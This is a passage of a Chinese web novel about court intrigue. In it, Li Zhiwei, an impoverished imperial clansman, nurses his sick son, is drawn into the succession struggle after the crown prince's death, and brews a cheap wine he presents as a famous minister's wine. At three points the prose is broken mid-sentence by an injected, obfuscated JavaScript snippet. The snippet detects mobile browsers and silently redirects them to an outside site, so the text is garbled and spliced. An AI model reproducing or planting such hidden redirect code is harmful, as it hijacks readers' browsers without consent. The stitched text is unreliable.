距离当今皇帝兵变登基,还有四天。 距离裴照元二十岁生日,还有六天。 是什么让他在兵变前夕,来到平康坊,难道想着牡丹花下死,做鬼也风流吗? 牡丹花…… 李知微一眨眼:“既然裴公墨宝是真,那二乔想必也不假。” 我家有裴公墨宝,还有名动天下的二乔花。 周盼盼很苦恼:“是,可最近雨水多,天热,二乔已经谢了。”又忽然计上心头:“您可以喝酒,您要喝酒吗?” 李知微挑眉:“喝酒?” 周盼盼道:“喝酒!”她激动着,觉得自己把客人留下,是个了不得的大功臣:“裴宅名酒‘天地同春’,便是以二乔入酒。我们这儿也有,虽说是浊酒,但也可以嗅见几分二乔香气。郎君要来一杯吗?” 以花入酒? 李知微捻捻手指。 不同于葡萄、樱桃,花瓣糖分低,容易酸败不说,还难发酵,就是要以花入酒,也得是桂花、蔷薇、茱萸这种香气夺人的。 牡丹入酒…… 李知微从容道:“那就有劳娘子,为我取酒。” 太好了,不仅招徕客人,还卖了酒!周盼盼连蹦带跳地离开,只将李知微当做裴照元的狂热粉丝看待。 追捧裴照元、模仿裴照元,这可太正常了。 门吱呀开阖,脚步声远去。 画轴上的流云仕女飘荡横梁,像一抹幽幽白绫。 父子二人并肩而立。 善思问:“他呢?” 李知微道:“回家去啦。” 善思“嗯”了一声,每个人都有自己的家,他和父亲有一个,见濯呢,自然和自己的父亲也有。 也不怪善思有此疑问,因为休沐日的流程一贯如此,前一天晚上,见濯就会住过来,第二天,他们把善思送到外祖家,傍晚时分,又把他接回来。 裴见濯要等到第三天,才会回家。 今天却不在。 善思喜欢遵守规定,对异常的事情,才会提出疑问。 李知微为了找寻裴照元痕迹,提前把见濯支走,不过,善思不会问见濯“为什么走”,他也就不必回答。 拢了拢儿子的领口,李知微问:“今天在外祖家里,玩得开心吗?” 善思惜字如金:“不开心。” 李知微等他说下去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349932|183551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 善思说:“我说想去蒙学,外祖说,我不用读书。” 李知微问:“外祖有没有说为什么?” 善思想了想,一字一句复述:“外祖说,读书,学的是臣妾的道理;主人,不用读书。” 说完这话,他很奇怪地望向仍旧和颜悦色的李知微。 父亲是很爱读书的,而且一直带着他读书,书中自有黄金屋。他居住的昭文院,就是父亲用读书换来的。 外祖父不让他读书,父亲还笑得挺开心。 他不解,只能默默从书包里掏出一沓书本,趴在纸上开始摹写。 李知微把他桌畔的油灯拨亮。 五岁的孩子,开蒙的练字本,不是千字文,也不是什么童蒙读物,而是账本。 裴见濯帮他记的那几笔账本。 胡饼,五十钱;油纸伞,五百钱。 陀螺,一百钱;紫毫笔,八百钱。 如果有当涂大臣,看到这一行字,估计会惊掉下巴。 因为这小儿的字,与裴照元竟有三分神似。 裴照元以行、楷二书冠绝天下,但并不轻留墨宝,更懒得刻碑树石,因而寻常人并见不到,只在坊间留有传说。 李知微自然也得不到。 可是,裴见濯啊裴见濯。 李知微一边挑灯,一边衷心感谢。 孔明达夸过裴见濯的字,说他的字几乎和裴照元的一模一样。 后来裴见濯刻意用左手写字交功课,但有时候,譬如给李知微誊账本,还是下意识用右手写。 他帮他记账,让他的儿子日积月累,练出深得裴相真传的笔锋。 墨如灵蛇游走白纸之上,李知微随手拿起一卷书闲看,还未来得及翻页,楼下便传来一声惊叫:“这是怎么了!” 善思的笔一抖,又很快若无其事地继续耕砚。 “把门都关起来!不许开了!” “回屋待好!去去!” 咚咚咚,应该是鸨母跑下楼安抚。 “端公息怒,端公息怒!我家里开门做生意,若有女儿们冒犯不懂事的地方……哎哟!” 楼下,桌椅翻倒、女子惊呼之声交替传来,善思长久在昭文院内生活,即使遇见庖厨伙夫也是彬彬有礼,并不曾见过这样的情况,一时间也有些害怕:“爹爹?” 李知微把儿子手中的笔抽去,恐他脏了手:“没事。” 善思被父亲一安抚,乖乖坐在原地,等待下一个指令。 楼下的争吵还在继续。 被敬称为“端公”的,其实不过是平康坊内巡逻的武侯捕快一流:“赶紧的收拾好,你们头上搽的戴的都给我抓下来,什么骚样!” 楼板太薄,哀求声不绝于耳,想必是武侯亲自上手去抓了姑娘们的钗环,收入自己囊中。 李知微牢牢握住笔。 咚咚咚的上楼声再次传来,武侯吆喝道:“你家里有没有正在办事儿的,赶紧两边分开,明天让他趁早滚蛋,别惹得一身骚!” “我家里今日都没开张,并没有什么人。” 有一个姑娘忽道:“妈妈,盼盼刚带了个男人回来,在最里头的屋。” “死丫头,带到最里面干什么?!” 脚步声一点点逼近,鸨母还在求情:“我家本来就是皮肉买卖,若是关门,女儿们都要喝西北风去了,妇道人家,见识短浅,不知哪里做的不好,端公高抬贵手,这是孝敬您的茶水钱……” 武侯不为所动,见了钱才有些好言语:“得了吧,不光是你,从明天开始,这条街,整个平康坊,不许再动弹了!” 鸨母险些晕过去:“什么?!” 嘎吱一声,门被踹开。 鬓发散乱的女娘,愁云惨淡的鸨母,腰挎佩刀气势汹汹的武侯攒动门口。 房门内,李知微抬眸看去,面露不虞:“何事?” 眼见房内客是士人打扮,武侯顿时偃下声气:“好叫郎君知道,这里关门谢客,明日里得走。今日夜里,您也不要有……哈哈!” 他意味深长地告诫道。 李知微问:“要关门多久?” 武侯对妓女恶相横生,对嫖客倒是感同身受:“唉,一个月。” 李知微问:“为什么?” 武侯摇摇头,叹气道:“天要下雨,魏王殿下薨啦!” 谁也没听见李知微袖口轻轻一折。 墨吐在袖口。 大绛皇帝陛下李成钧,李知微的皇兄,在四十三岁上,失去了他第六个孩子,彻底绝嗣。 “圣人伤心追悼,封魏王为孝明太子,要天下服慈母丧,消息明儿就传出来啦,咱们全城素食三日,禁乐禁酒二十七天,一月不许婚丧嫁娶、燕歌取乐。郎君还是早早回家去吧!” 看来,他是趁着消息便利,来趁火打劫的。 李知微站在原地,没有吱声,武侯见他不应,转身离去。 “妈的,带着儿子找表子,稀奇!” 哪怕走出很远,武侯的戏谑也传入耳中。 善思掀开他的袖口,从他手中拔过毛笔,用半支残存艰难勾画。 沙沙,沙沙,墨蛇游过白纸。 避秽香,两千钱;鲛绡纱,一千钱。 孔雀罗,十二贯;马球杖,三十贯。 又过了一会儿,周盼盼叩响房门,满面羞惭。 “郎君,实在对不住,让您受惊了,妈妈说,今天不要您的房钱了。我家的二乔酒也被旁边的卖完,家里只剩下一些晒干的二乔花瓣了。” 李知微回过神来,温和道:“不要紧,你们开门做生意不容易,谁也没想到会有今天的事,房钱我照付。” 周盼盼听了这话,又含出一泡眼泪。 “不过,我父子实在心慕裴公,能否请你帮我问问周妈妈,将所剩二乔干花赐下?” “我愿意买。” 7. 绿蚁第二1 雾浓雨滥,交错朝昏。 木屐小心踏过水洼,溅起一圈浑浊的泥晕。 李知微头戴斗笠、身披蓑衣,怀抱食盒在雨中艰难前行。 自孝明太子李承节薨逝,整座永乐城便因皇帝的悲伤陷入停滞,坊市关闭、书院停学,知微从后厨大灶上做完饭回家,见大雨倾如天漏,四际空无一人,忽生寂寥。 永乐城已有五日不见天光。 低洼路段的积水已经没过脚踝,李知微走到檐下,发现脚背上面滚满细沙草叶。 他长吁一口气,在家门口倾出胸中郁结,语气轻快道:“吃饭啦!” 门内是一派截然不同的温馨世界。 不同于外面的灰扑低矮,门内以花椒涂壁保暖,又以蚕丝棉胎与芦苇编毯隔音。泼天雨声被滤成潺潺絮语,温暖而安宁。小屋拥挤,五脏俱全,家具多用亮色,处处透着为孩子精心布置的痕迹。 可惜,除了裴见濯,这里没有别的客人。 怔了怔,知微仿佛看见他靠在橱柜上逗善思说话的神情,站没站样的,这地方连个给他伸腿的空也没有。他总说善思不理他,但事实上善思谁也不爱理,活泼太消耗精力,他的精力有限,每天一大早就得做好规划,省着点用。 他喜欢遵守规矩,见濯贸然闯入,他十分不欢迎;可“每隔五天,这个小房间里会多出一个人”的规矩一旦被他接受后,见濯不来,他又要询问:“他为什么没来?” 哪怕他生病了,风寒,躺在床上奄奄一息,也规划了大概两个呼吸给见濯。 李知微抚着他滚烫的额头,轻声解释:“他来不了。他有一个亲戚,受世尊度化去了极乐世界,他在为他伤心。” 善思消化了一会儿,不解:“为什么?” 知微告诉他:“因为,这个人去了,可他的阿爹阿娘、亲人朋友都没有,他们很长很长时间不能见面,所以舍不得。” 善思想了想,如果他要去极乐世界,见不到父亲,或者父亲去极乐世界,见不到他,那彼此都会很难过:“嗯,咱们一块儿去,啊?” 知微哭笑不得:“好。” 善思喜欢极乐世界,连带着也不恐惧病痛,父亲告诉他,痛到极致以后就是无边无际的快乐,快乐就是温暖的太阳,芬芳的草坪,充沛的体力,自由自在的奔跑,母亲已经在那里等着他了。 当然啦,也不是非去不行,因为父亲还在这里。 善思觉得自己在两个世界都有亲人,很有选择的余地。不过,比起虚幻的母亲,他更依恋父亲,所以喝药很及时,不抗拒,也不埋怨自己的病痛。 这是人生必备的考验,就像父亲带他去看熔金一样,这世上没有金子,经得起火烧的石头多了,也就有了。 每个小孩儿都是要生病的,生着生着,就成了大人。 父亲替他向阿閦佛祷告后,他就开始喝药喝粥,粥在对比之下分外香甜,他品出了好滋味,依偎在父亲怀里,伸出额头:“我好了吗?” 没有。 知微说:“快好啦。” 善思点点头,并不懊丧,每逢换季、暑热、严寒,他就会生病,这也是规律的一种体现。 他依偎在父亲怀里听取知识:“季夏之月,温风始至,蟋蟀居壁,鹰乃学习,腐草为萤……” 嗯,春夏秋冬,来回往复,时间看似不回头,但其实是无边无际的循环,世尊说,一次循环是一千六百八十万年。 善思一边听一边点头。雨声未歇,蚊蚋趁机潜入屋内寻觅血食,口器上的残血开始酝酿下一场病灾。 不知什么时候善思睡着了,又不知什么时候醒了,浑身没有力气,用牙咬知微的袖子:“爹爹!” 头发丝一样的动静,知微立刻醒来,听见孩子说:“阿娘来找我了。” 夜雨仍急。 后院禁火,丧期更要寒食。知微连煮药的灶火都没有,为此他恳求院内学官同意他出院,而后者明哲保身,称学正不在,不肯同意,让他等到除服日再行出入。 再忍一天就好了,再忍一天就除服了。 李知微哀求道:“那就只剩下阿爹一个人了。” 善思犹豫起来:“他陪你?” 他说的是裴见濯,知微摇摇头:“除了善思,没人会陪着阿爹。” 善思蜷曲起来,这是他接受病痛洗礼时惯用的姿势:“嗯。” 知微给他吃了几丸药,喂药的时候手有点抖,善思没发现,不住呜咽叹气:“唉、唉。” 他是真的很可怜知微,所以谢绝了阿閦佛的邀请,缩着、抖着,捱到了天明,坊市的禁锢刚一松动,知微就背着他去看医生,走出好几百步,才反应过来—— 应该叫个车的。 上哪叫车,这可是昭文院,与宫城同在含光门内,不在任何坊市之间,哪有车夫? 用头巾牢牢裹住善思的脑袋,知微背着儿子就像背着他的大书篓。皇城周边道途尚好,未见积水,待靴底渐被潮湿淤泥裹满时,太平坊也已到了。 永乐城一百零八坊以蓬莱宫为核心三面散开,东边的胜业、崇仁是亲王公主所居,南边的亲仁、太平则为宰相高官。 四相之一的薛延清,便居住太平坊内。 这个在见濯口中“惯会装相”的老头,在知微这里却是高不可攀的存在,相府深宅不随坊市开关,老远便有皂衣卫士站岗,守护“淄衣治定”宸翰之匾,知微只望了一眼,便与鹰犬锐眼对上。 他再没多看,背着儿子,匆匆钻入小巷。 眼下几乎所有良医皆被皇家官宦垄断,平民若要求医,只能寻草泽郎中或僧巫之流。而稍有声名的医生,往往被太医署、尚药局或世家征召,世代侍奉一族,不得擅自离开,否则便以刑罚论处。 薛家家医薛喑,正是小儿专科。 十年前,他南城行医,以诊治孩童热病闻名,名声积累到一定程度后,就被薛家召去,此后便一直居住在薛相宅后一条小巷中,见到知微背着孩子进来,便明白原委,关怀道:“怎么才来,孩儿病了几天?” “足五天,含光门关着,除哭灵外不让出入,今日才放行,来打扰先生。” 薛喑心中暗惊,不过是死了个不正经的太子,何至严苛至此?纵是皇帝驾崩,也没有阻人求医的道理。看来是有人存心作梗,欲将这孩子的性命困死在昭文院中。 是谁? 他想李知微心中应有答案,面上仍然戚戚,故意口误道:“魏王——太子殿下薨后,薛相一直被拘在政事堂,昨夜方归,说是劳累成疾,才唤我前去诊治。” 知微将烧得滚烫的儿子抱在怀中,对幼童的同情不翼而飞,只有一些皇帝麻木的怨憎。 皇子薨逝,弄出了皇帝驾崩的阵仗。 不止薛延清,四位宰相皆被扣在政事堂,文武百官缟素举哀,宿于衙署不得归家,禁肉食酒饮,每日望阙哭灵,三日后方得除服。李知微因居宫禁之内,亦不得不在含光门外随众致哀。 放下正在生病的儿子,聚拢灵棚之下,为自己的远房侄子哭丧时,他忽然想,皇帝是父亲,我也是,他死了儿子,天下不许多一声笑,我的儿子要是死了—— 那就是死了,平白无故,没有一丝水花地死了。 凭什么? 把善思抱在怀中,薛喑依次检查过他的眼睛、舌苔,又摸他的脉象,神色愈发凝重,很轻微地摇了摇头。 善思对奇异的氛围很敏锐,又很平静:“我要死了吗?” 薛喑为这孩子言语吃了一惊,很快掩饰道:“当然不是!我是在想,善思真是天生福相。” 善思望着他。 薛喑扯出一个笑来,对李知微道:“孩子是胎里带来的气虚体弱,这几日宫中法事频仍,怕是招了些腌臜东西,才病得如此急。这些年,该开的药方我已都开过,李君你也寻来不少,人事已尽,只看天命了。” 知微观他神色,就知道还有转折:“什么天命?” 果然:“譬如我上次给你开的独参方,里头写要二两人参,这二两人参,须四千钱,够寻常人家两三年吃喝嚼用。我在民间时,便不开这方子,以‘参须二两’替代,虽损失药性,但寻常人家咬咬牙,还是能喝得起药,吊得住命。” 寻常走卒,一日才赚得一百文足;这还是天子脚下,遑论更偏远的村户人家。 “可你知道,这方子若要发挥最大功用,所要的不是人参,而是仙茅。” “仙茅?” 饶是自诩博览如李知微,也不禁皱眉。 那是什么? “此物乃是十年前天竺婆罗门僧进贡,不是参类,药力却强百倍,在天家珍藏,民间不许存留。所以,我一开始就没有告诉你这味药,以免你徒劳。” 李知微的心提起一瞬,又很快坠落:“有这样的宝物在宫禁之中,太子还是薨了。” 薛喑道:“他的病症,不在医药。”他轻抚善思的额头,可怜道:“你若用之前的药方,以人参入药,孩儿的症状一时能好些,也算度过难关,这对你我来说都不是难事,库里还有储藏,四五千钱便可抵得。” “可若要根除,非仙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349933|183551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茅入药不可。待孩儿长到十岁上,筋骨健全,也就与常人无异了。” 知微反问:“你也说仙茅是天家珍藏,我如何取得?” 薛喑微笑:“所以说,小郎是吉人天相啊。” 善思不知为什么,拉住了知微的手,轻到像被发丝拽动。 “薛相年迈,连日痛哀,身体抱恙,圣人特赐下仙茅慰劳。”薛喑道,“李君天家贵胄,若愿托以实情,薛相不会吝啬。” 李知微淡淡出声:“薛喑。” 他长这么大,很少有觉得自己是天家贵胄的瞬间,除了昭文院考核的那天,他穿着大出一截的,前几位兄长剩下的袍子去应试,被阍者拦截下来,他不得已,背诵了自己的族谱。 我,我的父亲,我父亲的父亲……枝头竟然是整个王朝的缔造者,多么神奇。 但他去考昭文院,是因为昭文院不要学费,哪怕国子监都收费。 可后来他才明白过来,能用钱解决的,都是小事。 人参再贵都有价格,仙茅呢? 薛喑劝道:“让小郎去见一见薛相吧。” 知微不答。 少顷,药童送来参药,善思捧起来一饮而尽,他习惯苦涩,喝起来并不哭闹,也不会要奖励,只是从知微的袖子里抽出帕子擦嘴,蔫在一边。 知微捋着他的头发,让他在榻上睡觉发汗,与薛喑走到院中:“薛相的好意,我十分心领,不过,这与孩儿无关。” 薛喑显然得到嘱托:“无不无关,已不是李君能决定的了。” 腹稿其实准备了有些时候,专门守株待兔。 “我朝至今五代,太宗皇帝三子,仅剩世宗皇帝;世宗皇帝五子,仅剩仁宗皇帝;仁宗皇帝血脉,也仅剩今上一人。今上无子无侄,唯有过继太祖六世孙,养于宫中。” “太祖皇帝十八子中,未获罪、仍有嗣续者共四支,除帝系外,便是韩王、齐王、舒王三房。” “韩王是太祖庶长子,生子最早,第六代子孙均过二十,圣人应当不会考虑。” 皇帝今年四十三岁,并不算老,自然不愿择立成年之子,最好五六岁稚龄,尚未记事,易于抚育;或七八岁,身体健康,以免再度夭折。 “剩下的齐王、舒王二房,传至如今,各有子孙上百,符合条件的六代子孙,不过一手。”薛喑伸出手掌,在知微面前晃一晃,十指依次收拢,只剩下一根拇指屹立。 一百个里面挑十个,看似是很少,可皇帝的宝座,只有一个。 李知微不为所动:“齐王与太宗皇帝同产,乃诸王中最贵,圣人应该会在齐王房中寻找养子。退一万步说,真找了我们舒王一房——我上头还有十五个兄长,各有后嗣,我阿爹亦非独生。天威难测,我父子不敢有他望。” 薛喑见他如此畏缩,叹道:“孝明之疾,非是一日之寒。有心人早看过族谱,你身在昭文院,早成了众矢之的,纵有君子之心,却难保他人没有相害之意。你看小郎的病……”他进一步诱惑道:“李君与薛家有婚姻之亲,这是谁也比不上的。” “善思生来体弱,若非薛家援手,如何能有今天,我心中感激,不知何以言表。”李知微苦笑,仍作推拒,“只是……” 他没有说下去,任薛喑自己去补全,再回报给薛延请。 只是我非长房,亦非嫡出,生母寒微,不足称贵;只是我不思进取,声名不显,恐生连累;只是我儿体弱,担不起江山社稷;只是、只是、只是。 只是你薛延清太弱了。 你有心栽花,我待价而沽。 若薛延清早几日抛来这枝橄榄,李知微或许会感激涕零。四相之一愿助他争位,他又何须再苦心攀附虚无缥缈的裴照元? 薛家与他有亲,善思若得天命,薛家便是帝舅之族,这层关联坚不可破,他必然要下死力。 只是。 既然他本来就会为我下死力,我就没必要向他示好了。 更何况,裴见濯一语将他惊醒,薛延清虽清誉昭著,在皇帝心中,份量却远不及裴照元。 裴照元、裴照元……… “什么元?”善思在他怀中抬起眼睛,“阿爹?” 从薛家回来到小院时已近黄昏,孝明太子的丧钟再次敲响,辐辏永乐。 李知微看着前几天从平康坊带来的花瓣发呆。 周家并没有好好保存花瓣,知微一朵朵筛选过去,粉紫双色后晦暗生尘,只能捣泥酿酒。 怎么样能让裴照元帮助他? 李知微片片碾碎二乔,惹出满手芬芳。 8. 绿蚁第二2 复学的第一天,李知微罕见地没有背他那比人还高的大书篓,孑然一身来到书斋,从袖中抽出一份作业,藏入见濯书底。 非朝参日,他向来是最早到的。 书斋仍维持着七日前的模样。好几本书摊在桌上没有合拢,窗边空桌扔着未收的陀螺,抽屉里还有开封的果脯,招来了蝇虫嗡嗡盘绕。 所有人离开的时候,都以为不过是隔日再见。 可一直临近上课,书斋中也只稀疏到了几人。果脯袋被人拎起,连同那本未合的书,一并丢了出去。 众人面露唏嘘。 这是昭文院里很经常发生的事情,上着上着,同学就不见了,再见也许是菜市口。仁宗宫变那天,白天在书斋里一同读书,晚上在含光门兵刃相见,鲜血淹没书院门楣,大家能做的,也不过是次日清扫罪人的痕迹。 李知微抬头看了一眼,发现没来的是于氏子弟。 于家本族鲜卑,与皇室贵胄世代联姻,近些年声势稍偃,只在后宫有一位德妃撑场,可惜后宫佳丽三千,她早倚熏笼,为家族助力有限,不能像徐妃那样请求皇帝,直接让侄儿免试入院,于家又非久浸汉学,考来考去,也只考进来这么一根独苗。 “孝明的事,是他姐姐做的,如今全家都……” “怎么会这样?” “说是妒忌,谁说得准?有人翻出药渣来,顺藤摸瓜就就暴露了。” “她自己也没孩子啊!” 知微在见濯的桌上发现了细小的灰痕,拿手指一揩,闇沉沉转得亮堂堂,同窗之间的唏嘘也就到此为止:“今日要上射课,你们带了弓没有?” 昭文院虽以文教为主,不过射御乃君子之仪、定国之本,不可荒废。因此每次休沐归来第一课便是射课,以示君子无逸,由南衙羽林军派人执教,也唯有此时,不同书斋的学生才得聚一处。 知微的指甲不小心桌上刮擦了一下。 “我就说你怎么来上课了。”有人笑话他,“平日里遇上射课能躲就躲,我还以为你会假装不知道开学呢!过几日再慢悠悠来,还可以把作业赖了。” “我想跑,我阿爹不让啊,天没亮就来叫早,还嘱托带上这把弓,这可是我祖父当年在羽林军时用的,你看这弓上的记号。” “当心拉不开,不出风头倒出糗!” “你说什么?!” 口角迅速升级为推搡,同学们忙上前拉架,李知微将自己手上的那份作业展开看了一遍,确定没什么别字乱句以后,团成团,扔到了抽屉深处。 黄字斋的射课,是与地字斋同上的。 大晴天,晒得泥泞成焦土,青衿儒服不能适应武学场合,子弟们借此便利,换上自己的束袖胡服,个个鲜亮精神,如烩好的珍馐佳肴,各自搔首弄姿,引人品尝。 食客正是地字斋如今最炙手可热的人物,李景毅。 他是齐王五代子孙,今年二十四岁,卷发高鼻,目若闪电,据说能举千斤青铜鼎,想去军中试炼,却奈何祖母疼爱,恐他有所闪失,勒令他读书,这才在二十岁那年入了昭文院。文章辞赋他不擅长,射课上却总能夺人眼球。 紫袍金弓,飞马间十矢九中。 “李知微——!” 骏马扬起四蹄,李知微瞬间被阴影笼罩,韦弘贞大喊道:“十六郎快跑!” 李知微钉在原地,并不动弹。 辔头稍转,马身一扭,除了尘土外,没有任何东西扑上知微的脸颊。 对韦弘贞的惊呼,李景毅不屑嗤笑,众人闻弦歌而知雅意,纷纷道:“二郎的马术谁人不知,你这么叫,才是惊了马,容易生事故。”“这马如此神骏,轻易不会受惊,只是韦七,你年龄也不小了,怎么还这么轻率?” 韦弘贞面红耳赤:“我…” 他还没“我”出个所以然,就被李景毅扼住话头,几乎半命令地说:“我的箭射完了。” 射课前每人分得二十支箭用以练习,射毕需自行拾回。常人不会射得如此快,一来拾箭费事,二来拾箭时易被他人误伤。 李景毅一圈驰骋,箭囊已空,对李知微道:“把你的卖给我。” 李知微无所不卖。 李景毅考入昭文院时也算是高龄,别人二十岁考入大多定在玄或地等,唯有他在黄等,与十五六岁的萝卜头们坐在一处,直接突出一截,好在他和李知微年龄相近,能多说几句话。当时李知微正为欠的药费头疼,连聊天都想收费,李景毅一学期下来,差点赔进去半副身家。 不过,他们断绝往来已经很久了。 买卖不成仁义在,这话对李景毅天然不适用,他语气并不和睦:“反正裴见濯不在,你也不射箭。” 面对老主顾兼竞争对手之一,李知微好言好语:“稍后先生考校要用箭,不方便给你,我帮你把箭捡回来吧。” 李景毅无所谓道:“好啊,你去吧。我的箭,你还认识吗?” 李知微道:“认识的。” 都是宗室,李景毅的身家远比他丰厚,箭羽镀了厚厚一层金箔,散在一堆白羽间分外明显。李知微最穷的那一阵,甚至想要偷一两支箭拿去卖,上课时一直盯着李景毅的箭囊看,又怕事情败露被彻底退学,最后也没敢。 朝思暮想久了,找起来也分外便捷,不一会儿,他就将金箭收拢完毕,刚准备折身返回,又想场上还有许多遗箭,反正手上还空着,帮人带一些回去也无所谓。 这一支应该是韦弘贞的,他是个细心的人,习惯在箭上标数字。 这些是地字斋的,这些是…… 李知微弯腰正数间,耳后忽传一声尖啸,他还没来得及反应,背上便传来一阵酸麻。 李景毅放下长弓。 最后一支金箭,掉落在李知微脚边。 李知弯腰把金箭捡起,抱在怀中,状如无事递过:“二十支,点一点?” 李景毅没有数,准备离开。 李知微提醒道:“一支五十钱。” 李景毅说:“我给你一百。” 李知微笑了:“多谢惠顾。怎么结账?” 李景毅一时没有动静,死死盯着他,应当是被他的无耻惊呆了。旁人见状:“我身上带着零钱。”“我来我来。” 李知微无可无不可,谁发声,就望向谁,最后,李景毅抬起手,李景毅从袖口抛出一枚金锭,扔在地上,滴溜溜绕着知微打转:“记得找。” 李知微弯腰捡起,抓在手心:“好,也可以记账。” 李景毅说:“那就记着吧。” 李知微说:“嗯,老虎还好吗?” 老虎是李景毅儿子的小名,李景毅懒怠和他聊这种天,转身走了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349934|183551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他一走,众人也便一哄而散。 李知微蹲着,把箭都分好,挑出了三支,头也没抬,递过去道:“四、七、十五,这三支箭是你的吧?” 韦弘贞是唯一没走的人。 他神色难明地接过箭,又没有立刻放开,远远一看,仿佛是他拉住了李知微的手:“十六郎。” 李知微状如懵懂地抬起头:“嗯?” 韦弘贞忽而一笑:“你袖口好香。” 李知微松开箭,拎起衣袖一闻,也笑了。 满场窄袖中,只有他一个人还穿着青衿儒服:“这味道怎么样?” 韦弘贞说:“好极了。” 孝明太子死的太突然,碰上昭文院五日一次的假期,学院没通知何时复课,自觉的学生在除丧服之后便返校,不过,既然学校没有明文宣布,也没派出仆役通知,很多学生乐得装傻,没来上学。 裴见濯就是其中之一。 他不来,李知微就走得早。 夏日昼长,他到家时,善思仍在院中晒太阳,爬在躺椅上摇摇晃晃。 知微的心忽然柔软起来,他想要上去抱抱儿子,门却被敲响了。 韦弘贞缓步走入,成为有史以来第二位客人。 善思的日常规划里没有他,所以不愿意匀出几个呼吸,扭头便向屋里钻去。 李知微十分抱歉,表示孩儿羞涩没有见过外人,希望韦弘贞理解,但又疑惑道:“七郎怎么没回家?” 韦弘贞垂着眼睛:“我想问你一件事?” 李知微道:“你我之间,不必如此客气,有话直说便是。” 韦弘贞踌躇许久:“是这样,我、我的一个朋友,他耳闻二乔已久,却不得入裴宅一见,念想成疾。我想你和裴家二郎关系不错,能不能……” 知微装傻道:“我与他同席而坐,自然和睦,但,要带你朋友入裴宅赏花,恐怕有些不合适。” 韦弘贞慌忙摇头道:“不、不是入裴宅。”他想了想,索性直接道:“我曾随父母入裴宅看过二乔,识得此花香气,今日我闻你袖中仿佛是这个味道?” 知微颔首:“不错。” 韦弘贞道:“想必是裴家二郎所赠,能否请你割爱,赐下一支?价格好说。” 知微蹙眉:“若是旁物,你拿去便是。可二乔是日前裴公所赐,花谢以后晒干入袖,方有此香。蒙此厚爱,不敢他赠。” 韦弘贞闻言一惊:“裴公…他让你摘花?” 知微道:“自然,不摘花,怎么酿酒?” 韦弘贞不可置信、喃喃低语:“酿酒?” 似乎是被他脸上的表情取悦,李知微微面上浮出一种韦弘贞难以比喻的神情,陶醉、向往、幸福,说不清的糅杂。 他比韦弘贞大,比他穷,比他苦,是昭文院中公认的笑柄,同学们私下笑话他女娲补天时随手砍下的龟足撑在黄字斋一辈子不挪窝。往日里,韦弘贞可怜他、帮他,仿佛初雪时施舍贫者乞儿一碗热汤或一件旧衣。可在这一瞬,韦弘贞忽然发觉,李知微才二十有三,无论如何也称不上老。 说起裴照元,他身上那点活泼生动全然被激发出来,情话一样的低语,本就昳丽的眉眼更是动人,三春枝上的初桃,暴雨前的蜻蜓。 哗啦啦,一圈涟漪。 “是啊,酒。‘天地同春’。” 9. 绿蚁第二3 春服既成,牡丹始华。 说一年料峭春寒,牡丹不知冬去,迟迟未开,裴郎打马回府,见枝头空空,便于园中举宴,又命绿珠侍婢燃烛,融融香风上达重霄,泠泠酒气下临幽壤,裴郎玉山倾倒,瀛海浮沉,醒而复醉之际—— 二乔盛放,香落玉觥。 天下春生,地上酒成,是谓“天地同春”。 韦弘贞屏住呼吸,随他入酒房,望着小小酒缸中浮玉绿蚁,不可置信:“天地同春,是急酒?” 世人以清酒为贵,浊酒次之,至于急酒,则只能用以温腹。 粟米蒸透,加入陈年酒曲,第三日时便可见米粒上浮如蚁,兑上沸水便可饮用。此酒乳白无香,品质粗糙,除造价低廉外全无好处,只有市井懒汉会取来一酌,为士大夫不取。 裴照元怎么可能喝这种酒? 李知微并不答疑,只摆摆手,示意韦弘贞跟着他出来,甜中带酸的酒气闷红后者脸颊,他抓住李知微的袖子出了酒房,再次询问:“那真的是天地同春?” 圣人夸赞的天地同春,竟然是田舍乡汉都不愿多饮的浊酒? 李知微说:“明日见濯来上课,你可以去问他。” 韦弘贞一听此名,悚然摇头。 李知微感慨道:“旬日前,见濯请我去裴宅作客,恰逢裴公归府,便赐下此酒,原本我也惊讶,后来想想也就明白了。于裴公而言,富贵已如浮云,清酒玉碗亦何足惜?用急酒酿春,也许是返璞归真吧。” 韦弘贞听得痴了。 “一箪食,一瓢饮,在陋巷。他人不堪其忧,裴公不改其乐。” “贤哉!”他彻底折服,摇晃知微的手臂,“贤哉裴公,千古一人!” 李知微微微一笑。 酿急酒三天,酿浊酒却要一个月,孝明已死,皇帝过继子嗣之事迫在眉睫,众宗室竞争趋于白热,如薛喑所说,李知微就算不去争,他的名字也早上了有心人的名单。 更何况他早有野望。 一离开薛喑家,他便把对面无人住的房间开辟出来,摆上陶缸酿酒,到今天刚好三天。 愿者上钩,欲购从速,陶缸不大,像个大些的酒坛,他心中的买主只在眼前。 